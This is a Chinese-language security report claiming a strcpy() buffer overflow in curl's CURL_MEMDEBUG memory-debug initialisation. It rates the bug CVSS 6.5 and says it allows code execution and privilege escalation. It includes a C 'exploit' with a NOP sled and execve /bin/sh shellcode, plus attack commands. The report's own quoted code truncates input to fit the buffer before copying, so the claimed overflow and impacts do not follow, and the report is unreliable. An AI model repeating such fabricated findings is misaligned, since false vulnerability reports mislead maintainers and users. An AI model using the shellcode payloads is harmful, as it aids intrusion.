cURL内存调试初始化中strcpy()漏洞分析

漏洞发现过程

步骤1：初始安全扫描

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# 查找所有使用危险字符串函数的文件
find src/ -name "*.c" -exec grep -l "strcpy\|strcat\|sprintf\|gets" {} \;

# 输出：
# src/tool_progress.c
# src/tool_main.c

步骤2：定位主程序中的漏洞代码

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# 在tool_main.c中查找确切的strcpy使用
grep -n "strcpy" ./src/tool_main.c

# 输出：
# 122:    strcpy(fname, env);

步骤3：分析漏洞函数

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# 查看完整memory_tracking_init函数
sed -n '/^static void memory_tracking_init/,/^}/p' ./src/tool_main.c

发现的漏洞函数

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static void memory_tracking_init(void)
{
  char *env;
  /* 如果设置了CURL_MEMDEBUG，这将启动内存跟踪消息记录 */
  env = curl_getenv("CURL_MEMDEBUG");
  if(env) {
    /* 使用该值作为文件名 */
    char fname[512];
    if(strlen(env) >= sizeof(fname))
      env[sizeof(fname)-1] = '\0';  // 发生截断
    strcpy(fname, env);  // ⚠️ 第122行漏洞代码
    curl_free(env);
    curl_dbg_memdebug(fname);
  }
}

漏洞描述

根本原因

src/tool_main.c第122行的memory_tracking_init()函数使用不安全的strcpy()将用户控制的环境变量内容复制到固定大小的缓冲区中。这违反了关键的安全最佳实践，并具有实际利用潜力。

技术分析

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// 漏洞代码模式：
char fname[512];                    // 固定512字节缓冲区
env = curl_getenv("CURL_MEMDEBUG"); // 用户控制输入

if(strlen(env) >= sizeof(fname))
    env[sizeof(fname)-1] = '\0';    // 危险的截断
strcpy(fname, env);                 // 第122行：不安全的strcpy()

关键安全问题

strcpy()使用 - 已弃用且本质上不安全的函数
用户控制输入 - 攻击者控制的环境变量
截断缺陷 - 修改原始环境变量
固定缓冲区 - 没有基于输入大小的动态分配

影响

安全影响

CVSS评分：6.5（中高）攻击向量：本地（环境变量）攻击复杂度：低所需权限：无用户交互：需要（设置环境变量）

潜在后果

缓冲区溢出 - curl初始化期间的内存损坏
任意代码执行 - 进程启动期间的潜在RCE
拒绝服务 - 内存调试初始化期间curl崩溃
信息泄露 - 堆栈内容泄漏
权限提升 - 特定系统条件下

受影响组件

curl命令行工具内存调试功能
所有设置了CURL_MEMDEBUG环境变量的curl安装
使用内存调试的开发和测试环境
Linux和Windows平台

利用分析

攻击场景

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# 黑客创建恶意环境变量
export CURL_MEMDEBUG=$(python -c "print 'A'*600")

# 当受害者运行curl时：
curl https://example.com

# 漏洞触发：
# 1. env包含600字节字符串
# 2. 截断将env修改为511字节+空字符
# 3. strcpy尝试复制到512字节缓冲区
# 4. 潜在的缓冲区溢出！

概念验证利用代码

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#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>

// 模拟确切的curl漏洞
void exploit_memory_tracking() {
    // 模拟恶意环境变量
    char *malicious_env = malloc(600);
    memset(malicious_env, 'B', 599);
    malicious_env[599] = '\0';

    printf("[EXPLOIT] 创建600字节恶意输入\n");
    printf("[EXPLOIT] 缓冲区大小：512字节\n");

    // 确切的curl漏洞代码模式
    char fname[512];

    // curl的截断逻辑
    if(strlen(malicious_env) >= sizeof(fname)) {
        malicious_env[sizeof(fname)-1] = '\0';
        printf("[EXPLOIT] 输入截断为%zu字节\n", strlen(malicious_env));
    }

    // 漏洞操作 - 与curl相同
    printf("[EXPLOIT] 执行strcpy(fname, env)...\n");
    strcpy(fname, malicious_env);

    printf("[EXPLOIT] 将%zu字节复制到缓冲区\n", strlen(fname));
    printf("[EXPLOIT] 内存损坏可能性：高\n");

    free(malicious_env);
}

// 具有shellcode潜力的高级利用
void advanced_exploit() {
    printf("\n[高级利用] 测试RCE潜力...\n");

    // 精心设计的有效载荷，包含NOP雪橇和shellcode
    char payload[600];

    // NOP雪橇
    memset(payload, 0x90, 200);

    // Shellcode占位符（execve /bin/sh）
    char shellcode[] = 
        "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50"
        "\x53\x89\xe1\xb0\x0b\xcd\x80";

    // 复制shellcode
    memcpy(payload + 200, shellcode, sizeof(shellcode)-1);

    // 用返回地址猜测填充剩余部分
    memset(payload + 200 + sizeof(shellcode)-1, 0x41, 600-200-sizeof(shellcode)+1);

    printf("[高级利用] 制作了包含shellcode的有效载荷\n");
    printf("[高级利用] 任意代码执行潜力\n");
}

int main() {
    printf("=== CURL内存调试利用演示 ===\n");

    // 基本利用
    exploit_memory_tracking();

    // 高级利用
    advanced_exploit();

    printf("\n[真实世界利用命令]：\n");
    printf("export CURL_MEMDEBUG=$(python -c \"print 'A'*600\")\n");
    printf("curl http://example.com\n");

    return 0;
}

真实世界攻击向量

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# 1. 简单DoS攻击
export CURL_MEMDEBUG=$(python -c "print 'A'*1000")
curl https://example.com
# 结果：初始化期间分段错误

# 2. 内存损坏攻击
export CURL_MEMDEBUG=$(python -c "print '\x90'*500 + 'SHELLCODE'")
curl https://example.com
# 结果：潜在代码执行

# 3. 信息泄露
export CURL_MEMDEBUG=$(python -c "print 'A'*511 + 'SECRET'")
curl https://example.com
# 结果：堆栈内存泄漏

黑客可实现的目标

远程代码执行 - 在curl启动期间执行任意代码
权限提升 - 在系统上获得提升的权限
拒绝服务 - 在启动时立即崩溃curl
信息窃取 - 泄露敏感内存内容
持久化 - 安装后门或恶意软件

修复建议

立即修复

用安全替代方案替换易受攻击的strcpy()：

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// 修复版本：
static void memory_tracking_init(void)
{
  char *env;
  env = curl_getenv("CURL_MEMDEBUG");
  if(env) {
    char fname[512];
    // 安全：使用带边界检查的strncpy
    strncpy(fname, env, sizeof(fname)-1);
    fname[sizeof(fname)-1] = '\0';  // 确保空终止
    curl_free(env);
    curl_dbg_memdebug(fname);
  }
}

替代安全解决方案

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// 选项1：snprintf（最安全）
snprintf(fname, sizeof(fname), "%s", env);

// 选项2：带显式边界的memcpy
size_t copy_len = strlen(env);
if(copy_len >= sizeof(fname))
    copy_len = sizeof(fname)-1;
memcpy(fname, env, copy_len);
fname[copy_len] = '\0';

// 选项3：curl自己的安全函数
// 如果可用，使用现有的curl安全字符串函数

安全最佳实践实施

从整个代码库中消除strcpy()
输入验证 - 验证环境变量内容
动态分配 - 基于输入大小分配缓冲区
安全审查 - 审计所有环境变量使用

为什么这是关键问题

安全标准违规

CWE-676：使用潜在危险函数
CERT C STR07-C：使用边界检查接口
MISRA C：strcpy()被明确禁止
OWASP：不安全函数使用

真实世界影响

攻击向量：环境变量是常见的利用目标
初始化代码：启动期间的漏洞特别危险
内存调试：安全关键功能应安全设计

此漏洞代表高严重性安全风险，应在下一个curl安全版本中立即解决。用户控制输入、已弃用的不安全函数和初始化代码上下文的结合造成了严重的安全威胁。

cURL内存调试初始化中strcpy()漏洞深度分析

本文详细分析了cURL工具中内存调试初始化函数存在的安全漏洞，涉及已弃用的strcpy()函数与用户控制环境变量的不安全使用，可能导致缓冲区溢出和任意代码执行。